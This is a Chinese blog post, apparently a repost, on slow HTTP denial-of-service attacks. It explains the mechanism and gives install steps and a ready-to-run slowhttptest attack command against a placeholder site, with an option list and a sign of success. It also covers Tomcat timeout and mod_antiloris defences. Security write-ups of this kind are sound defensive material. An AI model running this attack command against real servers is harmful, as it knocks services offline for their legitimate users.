Slow HTTP Denial of Service Attack

本文介绍了慢速HTTP攻击原理及利用工具slowhttptest实施攻击的方法。同时提供了两种防御措施:一是调整Tomcat服务器中HTTP头部传输的最大许可时间;二是安装mod_antiloris模块保护Apache免受此类攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、漏洞描述

利用HTTP POST请求时,指定一个非常大的content-length,然后以很低的速度发包,比如10-100s发一个字节并保持这个连接不断开。当客户端连接数达到一定程度,占用服务器的所有可用连接,从而导致DOS

 

二、漏洞利用

渗透工具:slowhttptest

下载地址:https://github.com/shekyan/slowhttptest.git

安装过程:

切换到slowhttptest解压目录,执行以下操作

./configure

make

make install

注意事项:安装此工具要先安装开发工具包

可以参考https://www.cnblogs.com/573583868wuy/p/6799311.html

安装完成后使用以下命令开始攻击

slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://mysite -x 10 -p 3

当再次访问网站时,看到加载缓慢或者一直在加载就说明攻击成功。

 

工具用法:

-a开始值范围说明符用于范围头测试

-b 将字节限制的范围说明符用于范围头测试

- c的连接数限制为65539

- d proxy host:port用于指导所有流量通过web代理

- e proxy host:port端口用于指导只有探针交通通过web代理

- h,B,Rx指定减缓在头部分或在消息体,- R 允许范围检验,使慢读测试- x

- g生成统计数据在CSVHTML格式,模式是缓慢的xxxcsv / html,其中xxx是时间和日期

- i seconds秒间隔跟踪数据在几秒钟内,每个连接

- k管道因子次数重复请求在同一连接慢读测试如果服务器支持HTTP管道内衬。

- l在几秒钟内,秒测试时间

- n秒间隔从接收缓冲区读取操作

- o文件定义输出文件路径和/或名称,如果指定有效- g

- p秒超时等待HTTP响应在探头连接后,服务器被认为是不可访问的

- r seconds连接速度

- s字节值的内容长度标题详细说明,如果指定- b

- t verb自定义

- u URL目标URL,相同的格式键入浏览器,eg https://host[:port]/

- v level冗长等级0 - 4的日志

- w字节范围广告的窗口大小会选择从

- x字节最大长度的跟踪数据结束

- y字节范围广告的窗口大小会选择从

- z字节从接收缓冲区读取字节与单一的read()操作

 

 

三、解决方法

方法一:对web服务器的http头部传输的最大许可时间进行限制,修改成最大许可时间为20

 

tomcat为例,打开server.xml找到

  <Connector port="8080" protocol="HTTP/1.1"

  connectionTimeout="20000"

  redirectPort="8443" />

  将其中的connectionTimeout="20000"改为connectionTimeout="8000",其单位是毫秒。

 

 

方法二:由于Apache易受此攻击,因此我们应该采取一些预防措施。我们需要安装 名为mod_antilorisApache模块。该模块根据每个IP限制处于读状态的线程数,并保护 Apache不受Slowloris攻击。安装指令如下:

 

安装httpd-devel

yum install -y httpd-devel

安装编译模块gcc

yum install gcc -y

切换到一下目录

cd /usr/local/src/

从网上下载mod_antilorisApache模块

wget sourceforge.net/projects/mod-antiloris/files/mod_antiloris-0.4.tar.bz2

解压

tar -xf mod_antiloris-0.4.tar.bz2

调用apxs编译安装mod_antiloris.c文件

apxs -a -i -c mod_antiloris.c 

重启httpd服务

service httpd restart

检验antiloris进程是否启用

httpd -M |grep antiloris

完成

转载于:https://www.cnblogs.com/panisme/p/8445121.html

拒绝服务攻击(Denial of Service,简称DoS)是一种恶意行为,旨在使目标系统无法提供正常的服务。攻击者通过向目标系统发送大量的请求或占用系统资源,导致系统过载或崩溃,从而使合法用户无法正常访问该系统。 攻击者可以使用多种方式进行拒绝服务攻击,包括以下几种常见的类型: 1. 集中式DoS攻击:攻击者通过单一来源发送大量请求,占用目标系统的带宽、处理能力或存储资源,导致系统无法正常工作。 2. 分布式拒绝服务攻击(DDoS):攻击者利用多个被感染的计算机(也称为僵尸网络或botnet)同时向目标系统发送大量请求,以达到超过目标系统处理能力的攻击效果。 3. 慢速攻击:攻击者通过发送低速但持久的请求,占用目标系统的资源,逐渐消耗系统的处理能力,最终导致系统无法正常工作。 4. 协议攻击:攻击者利用目标系统的协议漏洞或设计缺陷,发送特制的恶意请求,导致系统崩溃或无法正常响应。 为了防止拒绝服务攻击,系统管理员可以采取以下措施: 1. 网络流量监测和过滤:使用防火墙、入侵检测系统(IDS)等工具来监测和过滤异常的网络流量。 2. 负载均衡:通过将流量分散到多个服务器上,提高系统的处理能力和容错性。 3. 增加带宽和资源:提供足够的带宽和系统资源,以应对大规模的请求。 4. 更新和修补漏洞:及时更新系统和应用程序的补丁,修复已知的漏洞,减少攻击者利用的机会。 5. 使用反向代理:通过反向代理服务器来过滤和缓解恶意请求,保护真实的服务器。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值